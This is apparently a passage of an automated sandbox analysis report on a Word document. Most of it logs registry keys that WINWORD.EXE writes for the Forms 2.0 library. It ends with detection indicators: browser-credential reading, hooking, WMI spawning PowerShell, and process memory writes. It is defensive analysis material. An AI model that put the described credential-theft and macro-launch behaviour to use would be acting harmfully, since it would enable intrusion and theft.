\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\FLAGS\ = "6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\FLAGS\ = "6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\FLAGS WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect" WINWORD.EXE - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA chrome.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1400 WINWORD.EXE 1400 WINWORD.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1800 1668 powersheLL.exe 25 - Suspicious use of WriteProcessMemory 758 IoCs
